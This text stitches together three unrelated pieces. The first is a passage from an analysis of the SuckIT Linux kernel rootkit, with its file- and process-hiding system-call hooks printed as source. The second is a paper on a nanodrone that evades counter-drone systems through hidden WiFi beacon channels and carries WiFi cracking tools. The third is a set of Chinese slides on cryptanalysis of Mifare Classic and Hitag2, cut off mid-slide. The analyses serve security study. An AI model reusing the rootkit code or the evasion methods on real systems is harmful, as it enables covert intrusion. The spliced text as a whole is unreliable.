Call Instruction that we have seen from the disassembly of the system_call function is as follows: Opcode Instruction Description FF/2 CALL r/m32 Call near, absolute indirect, address given in r/m32 The first opcode: xff, symbolizes the CALL instruction. The second opcode: x14, is in the ModR/M byte of the instruction and symbolizes that a SIB byte will be following this byte. The third opcode; x85, is in the SIB byte and symbolizes the 32 addressing format that is to be used, in this case [EAX*4]. This series of opcode should not change between kernel versions as long as the INTEL Embedded Pentium ® Processor is used in the hardware platform[17]. A problem with using gdb to view this data is that the vmlinux kernel image that is used as input may not be an actual representation of what is currently loaded in the kernel. A kernel level rootkit may modify the kernel without changing any of the system files that are resident on the computer’s file system. You will still be able to determine that the system call table has been tampered with by comparing the address of the system call table that is returned from querying the Interrupt Descriptor Table using the sidt assembly language command and comparing this value against the value that is retrieved from the vmlinux file and/or the address of the System Call Table (sys_call_table) that is stored in /boot/System.map if these files are available. It is possible to view the actual data that is loaded into the kernel by using a program such as kdb, which is a kernel level debugger. The kdb program may not be installed by default on a particular installation of Linux. If this program is available it is very easy to examine the kernel memory to view modifications. The following is an example of using kdb to display the instructions stored at a location in kernel memory: kdb> id 0xc0107128 0xc0107128 system_call+0x2c: call *0xc02d1890( ,%eax,4) The following is an example of using kdb to display the contents of kernel memory stored at a particular location: kdb> md 0xc0107128 0xc0107128 908514ff 89c02d18 90182444 147b83f0 The other significant feature of the SuckIT kernel level rootkit is its ability to install itself as resident into the kernel memory of the operating system. SuckIT makes use of the kmalloc() function to accomplish this manipulation of the kernel. The kmalloc() function is resident within the /linux/mm/slab.c file [18]. This file describes kmalloc() in the following manner: “The kmalloc function is the normal method of allocating memory from within the kernel.” According to the comments provided with the install.c program of version 1.3b of SuckIT, an unused system call is overwritten with the address of the kmalloc() function. The SuckIT rootkit must be able to determine the address of the kmalloc() function. The method that SuckIT uses to retrieve this address does not work in all cases. Once this address is retrieved it is then possible to access the kmalloc() function from within userspace. The developers of SuckIT have chosen the sys_olduname system call to use as the pointer to the kmalloc() function call. This system call is the 59th entry in the System Call table of both the Linux 2.2 and 2.4 kernel according to the /src/linux/arch/i386/kernel/entry.S file for each respective kernel. However, any unused system call that is available could have been chosen. The rootkit writes the address of the kmalloc() function into the sys_olduname position and renames this as the OURSYS system call wrapper. The OURSYS system call is then redefined as KMALLOC. The KMALLOC system call wrapper is then called within the install.c program file to allocate the necessary kernel memory in order to have the necessary space to write the new instance of the system call table as well as the necessary space for the new system calls that are to be created. SuckIT calculates the amount of necessary space to be the size of the new kernel code that is created (kernel.s) (calculated from the values kernel_end – kernel_start which are labels that exist at the start and end of the kernel.s file) + space for the new system call table and process ID table. If there is insufficient space available within the kernel, the program will terminate execution. If sufficient memory is available, then a pointer will be returned to this newly created block of memory within the kernel. A write kernel memory function (wkm) is then called to copy over the code that was created in the kernel.s file residing in userspace to this newly allocated kernel memory space at the following address: START ADDRESS OF NEWLY ALLOCATED KERNEL MEMORY+SPACE ALLOCATED FOR NEW SYSTEM CALL TABLE. This will allow for enough space at the start of this newly allocated kernel memory for the new system call table that is to be created by SuckIT to appear before any of the new system call code. Figure 9 - SuckIT Redirection of Unused System Call A second write kernel memory function (wkml) is called to copy over the KINIT system call macro from the code that was just copied into the newly allocated kernel space into the System Call Table at position number 59, which is the OURSYS system call that SuckIT created. This is the same system call location that SuckIT used for the KMALLOC system call. The SuckIT rootkit overloads the OURSYS system call with the system call names for both KMALLOC and KINIT. The KINIT system call wrapper is then executed by the install.c program. This system call does the following: 1. Creates the new system call table, creates modified system calls, and inserts pointers to the modified system calls 2. Restores the original system call table 3. Redirects all subsequent system calls to the new system call table At this point trust has been broken with the kernel. We can use this to create a ∇ to characterize the SuckIT rootkit. Figure 9 below demonstrates how SuckIT manipulates the System Call Table (sct) to replace the address of sys_olduname() system call with the address of the kmalloc() function call in the first case and then with the kernel_init() function in the second case. Macro functions are used to call both of these functions from within the install.c program. The wrapper KMALLOC is used to call kmalloc() and the wrapper KINIT is used to call kernel_init. Each wrapper has a corresponding list of parameters that are to be passed to the respective function. B. Analysis of the SuckIT Source Code The kernel.c program is the only portion of the SuckIT rootkit that is resident in kernel memory. This code contains the variables that must be relocated or made global for the rootkit to execute. It also contains the hacked system calls that SuckIT will use to replace the valid system calls in the system call table as well as any necessary functions required by the new system calls. This program contains the source code for the 25 system calls that the SuckIT rootkit replaces within the kernel memory. The kernel.c program also contains a routine to replace an existing system call pointer with the newly created system call pointer. The following is the code to accomplish this: #define hook(name) \ newsct[__NR_##name] = ((ulong) new_##name - \ (ulong) kernel_start) + \ (ulong) mem + SCT_TABSIZE; This code calculates the proper address of the new system call code that has been written into kernel memory. This routine is used by the KINIT system call wrapper int new_getdents(int fd, struct de *dirp, int count) { int oldlen, len; uchar *cpy, *dest; uchar *p = (uchar *) dirp; pid_struc *pi; if (count <= 0) return -EINVAL; len = oldlen = SYS(getdents, fd, dirp, count); if (oldlen <= 0) return oldlen; pi = curr(); if ((pi) && (IS_HIDDEN(pi))) return oldlen; dest = cpy = ualloc(oldlen); if (!cpy) return oldlen; #define dp ((struct de *) p) while (len > 0) { if (!is_hidden(dp->d_name, dp->d_ino)) { memcpy(dest, p, dp->d_reclen); dest += dp->d_reclen; } len -= dp->d_reclen; p += dp->d_reclen; } #undef dp memcpy(dirp, cpy, dest - cpy); ufree(cpy, oldlen); len = new_getdents(fd, (void *) (((uchar *) dirp) + (dest - cpy)),(int) (count - (dest - cpy))); if (len <= 0) len = 0; return (dest - cpy) + len; } (kernel_init() function) in order to place pointers to the hacked system call in the new system call table that is created by SuckIT. The kernel.c program also contains all of the necessary functions that are required by the new system calls. These routines are necessary so that the new system calls can hide the specified files and processes from a normal user as well as the system administrator. These functions are not available within the normal kernel code. We will first examine the way that the rootkit is able to hide specific files and inodes. The following code is the getdents (get directory entries) system call that will be utilized by the SuckIT Rootkit to display the contents of a directory. This code has some similarities to the knark_getdents() replacement system call that we have previously analyized in an earlier paper on the KNARK kernel level rootkit [19]. Like the KNARK kernel level rootkit, SuckIT continues to use the original system call (getdents in this case) within its new code for the replacement system call. This is indicated by the command: len=oldlen=SYS(getdents,fd,dirp,count); The value that is returned by this system call is the number of bytes that have been read. This value is assigned to the variable len and oldlen. If we are at the end of the directory then a value of 0 is returned and a value of -1 is returned upon an error. The process id (PID) of the currently running process is retrieved using the following code: /* returns pid struc of current pid */ pid_struc *curr() { int p; p = SYS(getpid, 0); return add_pid(p); } The routine then checks to see if this PID is designated as a hidden PID. If so then any objects that are associated with this PID are also to be hidden and the routine returns the value oldlen and goes no further. The following line of code accomplishes this: if ((pi)&&(IS_HIDDEN(pi)))return oldlen;. The IS_HIDDEN(pi) checks if this PID is designated as a hidden PID. If we are not currently associated with a hidden PID then the routine allocates some space in user memory using the following: dest = cpy = ualloc(oldlen);. If the routine is unable to allocate this user memory space then the routine returns the value oldlen and terminates. If execution continues within the new_getdents() routine then a structure is set up in order to walk through the values that have been returned from the original getdents() system call and identify those objects names that have been designated to be hidden. Upon retrieving the name of an object within the directory in question (dp->d_name), the new_getdents() system call then calls the function is_hidden() to check and see if this object (file or directory) is designated to be hidden from a directory listing. This routine checks to see is the name that has been retrieved has the HIDESTR (hide string) appended to the end of the name. The value for HIDESTR is established when SuckIT is compiled on the target system and has a default value of “sk12”. If this name is not designated to be hidden than a value of 1 is returned to the calling routine, otherwise a value of 0 is returned. The new_getdents() system call will only output those object names that are not designated to be hidden. The following is a listing of the code from the is_hidden() routine: /* check whether given file & inode should be hidden */ int is_hidden(char *name, ulong ino) { uchar *h = hidestr(); if (*filehiding()) { register int l = strlen(name); if ((l >= sizeof(HIDESTR)- 1) && (!strcmp(h, &name[l- (sizeof(HIDESTR)-1)]))) return 1; } if (*pidhiding()) { ulong c = 0; pid_struc *p; char *b = name; while (*b) { if ((*b == '/') && (*(b + 1) != 0)) name = b + 1; b++; } while (*name) { if ((*name < '0') || (*name > '9')) break; c = c * 10 + (*name++) - '0'; } if (((ino - 2) / 65536) != c) return 0; p = find_pid(c); if ((p) && (IS_HIDDEN(p))) return 1; } return 0; } We will now examine the sys_fork() system call that SuckIT uses to subvert the target computer. This analysis is similar to the analysis we conducted of this same system call in an earlier paper on the KNARK kernel level rootkit [19]. SuckIT refers to this system call as new_fork. The sys_fork() system call is used to create a child of a parent process. The new_fork() system call that is used to fork a process first retrieves the pid of the parent process. It then checks to see if the parent process is one that has been designated to be hidden. It accomplishes this by using the same IS_HIDDEN function that is defined within the kernel.c program of SuckIT. If the parent PID is a hidden process, then the child PID is also designated to be hidden. As with the new_getdents system call, the new_fork system call also makes a call to the original fork system call in order to obtain a new PID. This is also the case for the KNARK knark_fork system call. A difference between the knark_fork system call and the new_fork system call is that unlike knark_fork, the PID’s designated to be hidden are not placed in a separate linked list. The SET_HIDDEN() function sets a value within the PID structure to a specific value designating this PID as a hidden PID. The following is a display of the new_fork() source code: int new_fork(struct pt_regs regs) { pid_struc *parent; int pid; parent = curr(); pid = SYS(fork, regs); if (pid > 0) { if ((parent) && (IS_HIDDEN(parent))) { pid_struc *n; n = add_pid(pid); if (n) { SET_HIDDEN(n); current()->flags &= ~PF_MASK; } } } return pid; } As previously mentioned, the kernel_init() routine associated with the KINIT wrapper is the routine that sets up the new system calls as well as the new system call table, restores the original system call table, and redirects all system calls to the new system call table. /* initialization code (see install.c for details) */ void kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys) { ulong ksize = (ulong) kernel_end - (ulong) kernel_start; ulong *newsct = (void *) mem; sct[OURSYS] = oldsys; memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE); *oldsct() = (ulong) sct; *pidtab() = (void *) (mem + SCT_TABSIZE + ksize); memcpy(mem, sct, SCT_TABSIZE); hook(OURCALL); hook(clone); hook(fork); hook(vfork); hook(getdents); hook(getdents64); hook(kill); hook(open); hook(close); #ifdef SNIFFER hook(read); hook(write); #endif #ifdef SNIFFER hook(execve); #endif #ifdef INITSTUFF hook(utime); hook(oldstat); hook(oldlstat); hook(oldfstat); hook(stat); hook(lstat); hook(fstat); hook(stat64); hook(lstat64); hook(fstat64); hook(creat); hook(unlink); hook(readlink); #endif memcpy(oldsctp(), sctp, 2 * sizeof(ulong)); *sctp[0] = (ulong) newsct; /* normal call */ *sctp[1] = (ulong) newsct; /* ptraced call */ } This function calculates the amount of space (ksize) required to store the new system call code into memory in similar manner to the way this space is calculated in the install.c program. The function then sets up a pointer (newsct) to the starting address of the newly allocated kernel memory. This pointer will become the address of the new system call table that is created by SuckIT. The original system call table is then restored back to its original state with the system call #59 pointer being reset back to the address of the original sys_uname address by the following line of code: sct[OURSYS] = oldsys;. The command, memset() initializes the PID table. The command *oldsct() = (ulong) sct; establishes a pointer to the original system call table. The *pidtab() = (void *) (mem + SCT_TABSIZE + ksize); command establishes a pointer to the PID table. The command memcpy(mem, sct, SCT_TABSIZE); copies the original system call table to the start of the newly allocated kernel space. The next 25 lines of code set up the new SuckIT replacement system calls and places pointers to these system calls in the new system call table. The command memcpy (oldsctp(), sctp, 2 * sizeof(ulong)); copies the addresses of the original system call tables for both normal and ptraced system calls to a location where this address can be retrieved () at a future time if necessary. The last two lines of code set the system call table pointers for both normal and ptraced system calls to the new system call table located in the newly allocated kernel memory.
pdf
Project “The Interceptor” Avoiding counter-drone systems with nanodrones David Melendez Cano R&D Embedded Software Engineer Introduction With massive drone industry growth, comes antidrone systems industry. Due to multiple and even classic vulnerabilities of communications now used by drones, antidrone industry can take down those drones using well documented attacks. State of the art Drone-antidrone competition is already put into scene, and we can look at the state-of-the-art from two points of view: • Anti-drone systems: ◦ Detection: ▪ Image/Thermal cameras, and radar ▪ Flight plan ▪ Motor noise signatures ▪ Image recognition ▪ Radio control and telemetry signature ◦ Actions: ▪ Radio protocol specific attacks (Deauth WiFi, etc) ▪ Vendor sub-protocol specific attacks (Command injection/manipulation) ▪ Radio jamming ▪ GPS spoofing ▪ Camera blinding ▪ Capture with other aircraft • Drone countermeasures ◦ Physical ▪ Surrounding protection nets ▪ Swarm attacks ◦ Logical ▪ Spread spectrum radio techniques ▪ Inertial navigation with drift correction using image recognition (No GPS) ▪ Use 3G/4G networks to control and telemetry The main point of this paper resides behind the fact that state-of-the-art antidrone mitigations claim they are effective, just because the frequency bands they use for control and telemetry are illegal to disturb: (3G/4G) This a reasonable point considering that many antidrone systems are managed, indeed, with 3G/4G links, but it has obvious limitations. New approach Using a communication system that claims to be secure and immune to jamming, because jamming it would be illegal, is simply not enough when we are talking about, for example, government/army equipment. Not to mention that you cannot fly if no 3G/4G coverage is available. Also, physical detection is key to antidrone systems, based mainly on the aircraft size and radar signature. This new approach offers three main points: Drone size: Small drones are more difficult to detect. If we can downsize the drone as much as possible, drone detection gets harder. Also drone gets cheaper, if we use standard hardware and cheap parts. Hidden WiFi protocol for control and telemetry: Most antidrone systems are based on WiFi vendor communication signatures. The key here is to use nearbly existing WiFi networks, by reinjecting their beacon frames, modifying the payload on the fly. The beacon payload can be used both to transmit pilot commands, and to receive drone telemetry. This prevents the creation of an entire and unexpected WiFi network near of the antidrone systems. Making more difficult radio signature detection based methods. Also, the drone has to be able to act as a hacking platform in the same way as the state-of-the-art hacking drones, with all Wifi hacking capabilities, using only one WiFi adapter for all tasks. Fallback RF control: If those measures are not enough, and WiFi based communication is indeed jammed, a fall-back system is proposed using a Raspberry Pi with pitx, with arbitrary frequency radio transmission capabilities, and an on-board SDR as receiver. This hardware can also be used as a standard radio sniffer when drone is not being attacked on WiFi band. Project Interceptor The Interceptor is a proof-of-concept nano-drone built from scratch. It is an evolution of the drone ATROPOS, a previous project of the author. It’s frame is made with Chinese chopsticks, the total cost is $70, and it implements the proposed new approach to communications and hacking capabilities. Why chopsticks?. Wood is a good “vibration absorber”, and decreases the total amount of metal parts. The Interceptor is built with: Control board: Vocore2. In order to minimize drone size, the smallest, readily available, Linux based IoT board is chosen. No separate microcontroller is needed to generate time sensitive motor signals (PWM), using the on-board x4 PWM channels of the Vocore2. A custom OpenWrt image is compiled, with a devicetree mod since the board comes with only two PWM channels enabled in the default vendor devicetree description. This keeps cost, weight and hardware complexity ridiculously low, compared to market solutions. Even, some market control boards are almost as big, as this drone itself. This board manages: • Stabilization control program in C, with motor PWM control • WiFi beacon frame based communications • SDR based fallback receiving control protocol • Standard hacking tools (bully, aircrack, pixiewps, fakeap, etc) • SDR standard tools (rtl_sdr, rtl_433, etc) • Power management: Installed MOSFETs can turn on/off all peripherals Ilustration 1: "Atropos" drone. A PoC of Hardware Hacking Inertial sensor: GY-953 / BNO055 An inertial measurement sensor attached to Vocore2 serial interface is used to get the aircraft attitude. Refresh rate is 100Hz, in continuous mode, providing Euler angles/Quaternions. Since the Fixed clock calculations are generated inside this sensor, Vocore2 is freed from generating its own time fixed interrupt signals. This approach is chosen against others, to keep CPU load low, while main control is inside Vocore2. Other hardware parts: • RTL2832U SDR USB dongle • 1S LiPo Battery • x2 channels I2C ADC IC converter. Included in Vocore2 devicetree file, and Kernel driver- access enabled. • DC-DC converter from 3.7V Lipo battery to 5V for electronics • Nano-drone-type brushed motors • MOSFET and passive components to drive brushed motors soldered inline • UART camera Illustration 2: Top-front view of drone Interceptor. Notice IMU sensor on top, with vibration absorber made with shrink tubes.(Battery and antennas dismounted) Interceptor Architecture Interceptor architecture can be divided into two main parts. Pilot side, and drone side. Pilot side is based on Raspberry-Pi Zero, with a USB pilot trainer (detected as a joystick by Linux joydev.ko module), a WiFi module, and rpitx/PiFmRds using GPIO for fallback control. WiFi based communication Primary communication method is based on monitor mode, on both drone and pilot sides. A key is exchanged using the previous flight key or by wired serial interface between pilot and drone before each flight. Even in the laziest user mode (using previous key), you only have to turn on the drone and pilot, in a different location to ensure a fresh and safe key is exchanged, taking into account the hypothetical situation that your previous key was somehow compromised by nearby attacker. Illustration 3: Bottom view of Drone Interceptor. (Battery and antennas dismounted) Brushed motor and propeller Power MOSFET Schottky diode and capacitor Vocore2 WiFi Linux board SDR USB dongle. (Vertically mounted) UART camera Power Distribution And DC-DC converter Both sides perform a beacon frame scanning on all available channels, in order to capture an arbitrary number of beacon frame headers. Those headers are then reinjected on air, with their payload modified as follows: Packet payload is forged with: 1. Pseudo-randomized Initialization Vector for AES-CBC encryption 2. Data type: a pilot command, a telemetry stream or an image stream from camera 3. Data length 4. Data stream: containing command information/telemetry/camera data 5. Current 802.11 channel, and targeted channel (See next chapter “Channel hopping”) 6. Sequence number: Discards older packets, to avoid command reinjection attacks 7. SHA256 of all previous data AES-CBC encryption covers points from 2 to 6, both included Channel hopping In order to match capabilities of other hacking drones on the scene, the drone has to be able to “visit” any available WiFi channel, even when flying, without losing control, using the same WiFi interface already used for both telemetry/control and WiFi audit. A specific protocol has been developed to change both pilot and drone WiFi channel synchronously. For example, if drone-pilot system is on channel 13 at the beginning of the flight, and pilot wants to audit a network located on channel 1, the transmitted “targeted channel” field, changes to channel 12. Once drone has changed to 12, “current channel field” coming from drone to pilot, takes value 12. Once pilot receives this packet, pilot changes to 12, and sends “target channel” to 11 to drone. All these steps are repeated until “ultimate target” channel 1 is reached by drone and pilot. The reason why this works resides on channel design. 802.11 channels are overlapped, and pilot still can receive packets from drone without losing control, even if one is 1 channel away from the other. This situation keeps the protocol simple, and fast enough to work flawlessly. Negotiation from 1 to 13 and vice-versa, takes ~2-3 seconds keeping smooth control. NOTE: every channel change implies automatic stopping of any running WiFi audit tools. Those tools can be respawned by user, once “ultimate target” channel is reached by drone and pilot. Diagram 2: WiFi protocol architecture JOYSTICK PILOT (RPI) 802.11 beacon injection DRONE control AES encryption telemetry WEB interface Change channel management AES decryption 802.11 beacon sniffing Websocket 802.11 beacon sniffing AES decryption Websocket 802.11 beacon injection Flight control And change channel management AES encryption Diagram 1: Channel hopping negotiation between pilot and drone, taking advantage of 802.11 channel overlapping and libnl API library PILOT DRONE My channel: 13; Target channel:12 My channel: 12; Target channel:11 My channel: 11; Target channel:10 My channel: 12 CH:13 CH:13 CH:12 CH:12 CH:11 My channel: 11 CH:11 Etc... Web interface Web interface is complemetary to the joystick in the role of user command & control. A web server is embedded in the josytick application, using mongoose c library, and it uses websockets to send additional commands to drone (channel and mode changes) and to receive telemetry, previously captured from 802.11 beacon frames. Fallback control with rpitx/PiFmRds and SDR Illustration 4: Interceptor web interface YAW Indicator Sequence number “Ultimate target” channel Current/target Channel Pitch/roll Indicator WiFi mode: monitor or mon+sta/ap ADC in voltage Audit console/camera MOTOR PWM LEVELS NOTE: a client/AP (infrastructure) mode is also available at the same time as monitor mode. The only restriction is that channel is fixed on this mode, at the same channel of STA/AP mode. This enables network-level attacking capabilities once the target WiFi network is compromised, and the drone is effectively connected to that network as a regular client. Examples: reverse SSH tunnel, DNS tunnel, network pentesting, etc. In case the Beacon Frame based communication is detected and successfully jammed by any anti- drone system, a fallback system is spawned once a receiving command timeout event is triggered on pilot, or requested by drone, covering the situation where only pilot→drone communication is jammed/attacked. This feature needs a previous action,, before flight, when the key is exchanged. The drone enables its SDR dongle to perform a Fast Fourier Transform on arbitrary frequency ranges, previously configured by user. Once FFT is performed, the drone chooses a suitable frequency by using the band containing the least power as reported by the FFT (Further techniques can be applied here for frequency choosing, for example, next to an FM radio station or any other current transmission) . This best-suitable frequency is reported to pilot by drone, and stored. In case of a successful attack to WiFi link, pilot Raspberry-Pi rpitx will start to transmit control data over this frequency. NOTE: Starting rpitx takes some seconds, so, pilot system will be running it even when no attack is performed against drone, BUT GPIO WILL NOT BE CONNECTED TO ANTENNA, until requited. GPIO is switched to GND with a resistor as default position, preventing output to be transmitted until required (avoiding possible premature transmission discovery by antidrone systems). Packet size is dramatically reduced, limiting all pilot movements to 4 bits per remote control stick. In this emergency scenario, only sticks data are transmitted, (no other non-critical channels) with a payload of two bytes of usable data. Fine trim values are stored previously by drone, assuming all pilot controls are set to default position on engines startup, and applied to received values. Packet format is simple: • 1 start byte:0x00 (not allowed in usable data). • 1 byte Gas-Yaw: Mask 0x0F: Gas, Mask 0xF0 Yaw • 1 byte Pitch-Roll: Mask 0x0F: Pitch, Mask 0xF0 Roll • 1 byte checksum No encryption is implemented in this version for the moment. since this communication system is only used in an emergency situation, and the data is modulated with a very low baudrate to maximize reliability. Further implementation with more resolution and encryption could be available in a few months. Modulation and demodulation Once fallback system is triggered, pilot side starts sending 4-byte packets to a Frequency Shift Keying modulator. In this case minimodem project is used. The baudrate is set to an arbitrary number, between 100-300 bauds, previously chosen randomly by drone, and notified to pilot. Generated audio is then piped and converted to a readable format for rpitx using a DSP library (cdsr) sampling at 48 ksps. Rpitx receives the stream and transmits it using the previouslychosen frequency as FM modulation. On the drone side, SDR is set to the same frequency, FM demodulated, and piped to an on-board version of minimodem, to demodulate the tones. Once demodulated, packet data is passed by named pipe to stabilization and control process, as pilot commands. Further upgrades Further upgrades can be implemented, for example, transmitting a “standard” FM audio transmission, simulating being a radio station, (for example:https://www.youtube.com/watch? v=oHg5SJYRHA0 ) and transmitting the commands over PS, RT and TA (Traffic Announcement flag), as hidden side channel communication. Raspberry-Pi GPIO harmonics: really a problem? Huh… Transmitting RF over digital GPIO causes harmonics. For example, transmitting at 28 MHz will generate other signals at 84 MHz, 140Mhz, 196Mhz etc… This is a legal issue, because it can interfere with reserved frequencies. The point here is: if somebody flies a drone to enter in a no-drone area/installation, maybe transmitting in forbidden frequencies is the least of their problems. In this PoC, instead of using an external analog filter to remove the harmonics, we take advantage of them so that the drone is able to receive, not only in the main frequency, but it could use all the harmonics thanks yo its SDR receiver capabilities, selecting the best frequency automatically, without extra or fancy hardware. If main frequency is also jammed, (and WiFi signal too, at the same time), the aircraft could have a last chance to receive commands by Round-Robin change of frequency, over the main frequency and its harmonics, inside the SDR frequency range. Diagram 3: SDR fall-back communication JOYSTICK Pilot (RPI) FSK modulation RF format conversion FM modulated transmission GPIO 4 bytes packet DRONE SDR FM capture control Wav audio conversion FSK demodulation 4 byte For flight control Connected to antenna When timeout NOTE: The point of this PoC is to demonstrate that for an attacker, legal issues are not a problem, making most common Anti-Drone systems vulnerable against a technique like this, because they are looking into expected frequencies, at expected protocols and signatures. A wide number of parameters (baudrate, modulation, encryption, frequency) can be arbitrarily changed (within limits) automatically, to make signature identification a pain. Conclusions • Ridiculously small size, weight and cost. This bring us to the next point: • Hardware hacking and from scratch build, from flight control to hacking. Not a “regular drone” with extra stuff put inside. • Side/hidden channels communication as central philosophy. No vendor or 3G/4G comms. • Built from scratch, two-way communication, 802.11 beacon frame based protocol. Unexpected system by antidrone systems. • Channel hopping over only one WiFi adapter on each side. (Lower cost, lower weight/power consumption on drone side) • Fallback RF control communications, also unexpected by antidrone systems.
pdf
Cryptanalysis in real life II 研究團隊 王昶凱 邱弈豪 周立平 鄭振牟 演講者 周立平 1 Total page : 46 綱要 1. Mifare Classic(Crypto1)與Hitag2的介紹 YoYo card in Taipei 2. 攻擊手法和結果概述 3. Extra: Non-NIST ciphers 4. Q&A 2 Crypto1與Hitag2的介紹 NXP 公司所發售的產品 (Mifare Series & hitag2) Mifare Classic 系列的智慧卡使用 Crypto1,已售5000萬個MIFARE讀卡機, 50億個tag,使用範圍相當廣泛(地鐵等) Hitag2使用於汽車電子安全鎖 3 Crypto1與Hitag2的介紹 Mifare Classic - Crypto1 Ex. YoYo 卡 Issue: Crypto1 Structure、Mifare Classic protocol Hitag2 Hitag2 is very similar to Mifare Classic but stronger 攻擊手法: 代數, 差分攻擊, or Both 4 Crypto1與Hitag2的介紹 - Mifare Classic protocol 5 我要與你通訊 OK!我選擇Mifare與我通訊 問⼀個問題:隨機亂數nT 先問你⼀個問題:隨機亂數{nR} 回答問題:{aR}從nT計算出來 讀卡機回答正確:卡片回答問題{aT} ->從nR計算出來 讀卡機回答錯誤:卡片回答 -> error code (0x5)(0x0) 讀卡機 Reader 卡片 Tag ...... 認證完成,開始進行讀、寫..等動作 ISO14443 Mifare Classic protocol MIFARE Classic CHAP(Challenge-Handshake Authentication Protocol) 6 Crypto1與Hitag2的介紹 Crypto1與Hitag2的介紹 - Structure Structure Crypto1 ->Stream cipher Easy LFSR Hitag2 ->Stream cipher Hard LFSR 7 Crypto1與Hitag2的介紹 - Structure Mifare Classic - Crypto1 Mifare Classic – Hitag2 8 input 探討Mifare Classic 既有的安全議題 Brute force Crypto1 : CPU 50 years / GPU 14 hrs Hitag2 : N/A Non-Brute force PRNG(Pseudo random number generator)設計不良使其安全性降低 Parity 設計不良會洩漏部分的明文資訊 Filter Function 輸入部分設計不良 利用 keystream 將原始的密鑰還原 9 281/sec (use every possible key value to authenticate) 2^48/281 = 1001690308578.84 sec = 16694838476.31 min = 278247307.93 hr = 11593637.83 day = 31763.39 year 探討Mifare Classic 既有的安全議題 10 計算資源龐大$$ 風險太高(刑責) 代價太高(前兩 者選⼀達成) ⼀般電腦 在家即可完成 探討Mifare Classic 既有的安全議題 11 永遠有效 nT已經不太會重複, 幾千個甚至幾萬次 才⼀個重複 nT的變化規律已經 無法被預測 對於可變變數(nT、 nR)限制較為寬鬆 New card 探討Mifare Classic 既有的安全議題 - 代數 ※ 解方程式 ※ SAT solver 針對Crypto1 stream cipher attack: 奇偶攻擊、連續認證攻擊 優點:有效、快速 缺點:稍微改變保護機制,攻擊就會失效 代數攻擊: (布林代數攻擊) 使用代數CNF表示,再用SAT solver解方程式 優點:適用⼀般性的解方程式問題(攻擊其他種類) 缺點:比針對性攻擊要慢些 12 Mate Soos: Extending SAT Solvers to Cryptographic Problems CryptoMiniSat2 13 代數攻擊 描述演算法 轉換成ANF 轉換成CNF 使用SAT Solver 給定⼀組布林方程式,求解「有⼀組變數值,可滿⾜方程式為真」是否成立 ( X1 ∨ X2 ∨ X3 ) ∧ ( X2 ∨ X3 ∨ X4 ) ∧ ( X1 ∨ ¬ X4 ) = TRUE 轉換為CNF:假如某布林方程式為50=(10×-12) 50 = (10 and -12) 要改寫成 -50 10 0 ¬50 ∨ 10 = TRUE -50 -12 0 ¬50 ∨ ¬12 = TRUE 50 -10 12 0 50 ∨ ¬10 ∨ 12 = TRUE 14 SAT問題 X1 X2 X3 X4 T T T T T F F T F T T F T F T F 探討Mifare Classic 既有的安全議題 - 代數 ※ 解方程式 ※ SAT solver Example : General (Boolean) algebra = A,B,C,X,Y,Z …. (A V B V C)^(X V Y V Z) = True For SAT solver Boolean algebra = 1 , 2 , 3….. (1 V 2 V 3) ^ (4 V 5 V 6) = True ⇒ 1 2 3 0 4 5 6 0 (For SAT solver input format = DIMACS format , XXX.cnf) 15 探討Mifare Classic 既有的安全議題 -SAT solver – CryptoMiniSat2 16 Input file: ’DIMACS Format’ SAT solver Tool: CryptoMiniSat2 Output: Boolean value of algebraic 每個布林代數的值 代數攻擊分析 Generate cnf file CNF 規則:1. 每條式子都需要為True 2. 每條式子預設使用OR運算,若使用XOR運算則式子最前使用X開頭 3. 式子結尾需加上 ‘0’ ,代表結束字元 (DIMACS format) 17 測試⼀ : Ex. 1 or 2 = true => {1,0} ,{0,1} , {1,1} 2 = true => {1} 符合以上兩個條件的解 (取交集 ∩) Solve = {0,1} , {1,1} = -1 2 ; 1 2 用cryptominisat2解,結果完全正確 代數攻擊分析 測試二 : Ex. 1 xor 2 = true => {0,1} , {1,0} 2 = true => {1} 符合以上兩個條件的解 (取交集 ∩) Solve = {0,1} = -1 2 用cryptominisat2解,結果完全正確 18 探討Mifare Classic 既有的安全議題 - Differential 差分 差分:兩個數間的差異值, 可用xor表達 用途: 1. 控制state狀態變化 2. 控制僅有⼀個 bit 擁有差分值1, 其他 bit 為0 19 A B 差分 0 0 0 0 1 1 1 0 1 1 1 0 由nT差分計算LFSR差分, nT使得48bits有特別的狀態, 再用nr做出另⼀個特別的狀 態 We assume 2 keystreams are identical then diff of {nr} = diff of nr 20 探討Mifare Classic 既有的安全議題 - Differential 差分 由LFSR差分計算nR差分的必要條件 21 探討Mifare Classic 既有的安全議題 - Differential 差分 α32 α33 設ks差分為已知,可由nR差分求得{nR}差分 22 探討Mifare Classic 既有的安全議題 - Differential 差分 dfc dx15 = dfc dfa dfa dx15 . fc( state ) = fc( state + differential ) fc( state ) - fc( state + differential ) = 0 Calculus : Chain rule Benefit: one variable is gone 探討Mifare Classic 既有的安全議題 - Differential – special trace 23 差分出現 探討Mifare Classic 既有的安全議題 - Differential - special trace 24 ks ks’ ks ^ ks’ = 0 探討Mifare Classic 既有的安全議題 代數差分攻擊的影響 ? 針對Crypto1(Mifare Classic protocol) 進⼀步的想法: 相似的Stream cipher : Hitag2 套用Mifare Classic protocol 使用代數差分進行攻擊與分析結果 25 探討Mifare Classic 既有的安全議題 26 Mifare Classic vs Hitag2 27 input Generation Mifare Classic – Hitag2 traces Select Hitag2 cipher and its filter function Secret initial Key => input (uid^nT、nR) Output keystream : ks1,ks2,ks3 新的安全議題 - 實驗與分析方式 1.純代數攻擊方式 64bits continuous keystream 64bits continuous keystream & α33 HELP bits 2.代數攻擊+差分攻擊 代數 & 差分方程式 代數 & 差分方程式 & α33 HELP bits 28 新的安全議題 - 1. 純代數攻擊分析 Grain of salt ks0, ks1 only Mifare Classic protocol ks2,ks3 in practice 29 新的安全議題 -1. 純代數攻擊分析 - Grain of salt 工具 Grain of salt本身可以產 生crypto1與hitag2兩種的 cnf file(下圖) 使用Grain of salt 產生出 來的cnf 檔案內容(右圖) 30 純代數攻擊分析 - Grain of salt Grain of salt Crypto1 Hitag2 Solver time 2m43.315s NA 31 純代數攻擊分析 - Mifare Classic protocol – We generate cnf files cnf file rule : * Secret Key algebra = 1 ~ 48 1. LFSR 2. Filter Function 3. HELP bits : uid^nt 4. HELP bits:{nR} 5. HELP bits:ks2 , ks3 (64bits) 32 純代數攻擊分析 - Mifare Classic protocol 實驗為求取較正確值,因此每⼀項⽬會做3-10次的數據結果, 然後再使用平均值標準差的方式取得⼀個代表性數據,平均 